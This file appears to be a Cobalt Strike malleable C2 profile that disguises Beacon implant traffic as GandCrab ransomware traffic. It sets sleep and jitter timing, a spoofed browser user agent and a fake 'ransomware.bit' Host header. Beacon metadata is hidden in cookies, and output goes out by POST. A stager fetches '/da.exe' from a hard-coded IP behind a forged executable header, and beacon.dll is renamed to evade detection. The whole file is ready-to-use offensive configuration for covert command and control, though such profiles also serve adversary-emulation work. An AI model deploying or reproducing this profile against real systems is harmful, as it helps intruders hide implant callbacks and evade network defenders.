134 lines
3.2 KiB
Plaintext
134 lines
3.2 KiB
Plaintext
#gandcrab ransomware
|
|
#taken from - https://www.malware-traffic-analysis.net/2018/04/10/index.html
|
|
#xx0hcd
|
|
|
|
|
|
set sleeptime "30000";
|
|
set jitter "20";
|
|
set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36";
|
|
set dns_idle "8.8.8.8";
|
|
set maxdns "235";
|
|
|
|
|
|
http-get {
|
|
|
|
set uri "/";
|
|
|
|
client {
|
|
|
|
header "Host" "ransomware.bit";
|
|
header "Cache-Control" "no-cache";
|
|
|
|
|
|
metadata {
|
|
base64url;
|
|
header "Cookie";
|
|
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
server {
|
|
#yes, the server header is really blank...
|
|
header "Server" " ";
|
|
header "Cache-Control" "private";
|
|
header "Content-Type" "text/html";
|
|
header "Connection" "close";
|
|
|
|
|
|
output {
|
|
netbios;
|
|
prepend " ";
|
|
prepend " ";
|
|
prepend "173.166.146.112";
|
|
print;
|
|
}
|
|
}
|
|
}
|
|
|
|
http-post {
|
|
|
|
set uri "/feascui";
|
|
|
|
client {
|
|
|
|
header "Host" "ransomware.bit";
|
|
header "Content-Type" "application/x-www-form-urlencoded";
|
|
header "Cache-Control" "no-cache";
|
|
|
|
output {
|
|
base64;
|
|
print;
|
|
|
|
}
|
|
|
|
id {
|
|
base64url;
|
|
parameter "ssey";
|
|
|
|
|
|
}
|
|
}
|
|
|
|
server {
|
|
|
|
header "Server" "nginx";
|
|
header "Content-Type" "text/html; charset=UTF-8";
|
|
header "Connection" "close";
|
|
|
|
|
|
output {
|
|
netbios;
|
|
print;
|
|
}
|
|
}
|
|
}
|
|
|
|
http-stager {
|
|
|
|
set uri_x86 "/da.exe";
|
|
set uri_x64 "/DA.exe";
|
|
|
|
client {
|
|
header "Host" "185.189.58.222";
|
|
header "Connection" "Keep-Alive";
|
|
}
|
|
|
|
server {
|
|
header "Server" "Apache/2.2.15 (CentOS)";
|
|
header "ETag" "1807d1-49808-5697d14752010";
|
|
header "Accept-Ranges" "bytes";
|
|
header "Connection" "close";
|
|
header "Content-Type" "application/octet-stream";
|
|
|
|
output {
|
|
prepend "MZ......................@............................................. .!..L.!This program cannot be run in DOS mode.
|
|
|
|
$.........S...=...=...=.......=.......=.......=.......=...<...=.......=.......=.......=.......=.Rich..=.........................PE..L....[.Z..............
|
|
......f....................@..........................`......Wa..........................................x........)..............................................................@............................................text... ........................... ..`.rdata..J<.......>..................@..@.data...............................@....rsrc....).......*..................@..@.reloc...X.......Z...>..............@..B........................................................................................................................................................................................................................................................................................................................................U...E.....\\$..E...$......].....E.]...%..A..%H.A..%..A..%..A..%..A..%..A.";
|
|
print;
|
|
}
|
|
|
|
}
|
|
|
|
|
|
}
|
|
|
|
stage {
|
|
set compile_time "11 Nov 2010 23:29:33";
|
|
set image_size_x86 "301064";
|
|
|
|
transform-x86 {
|
|
strrep "beacon.dll" "bKKc.dll";
|
|
}
|
|
|
|
transform-x64 {
|
|
strrep "beacon.x64.dll" "bKKc.dll";
|
|
}
|
|
|
|
|
|
|
|
}
|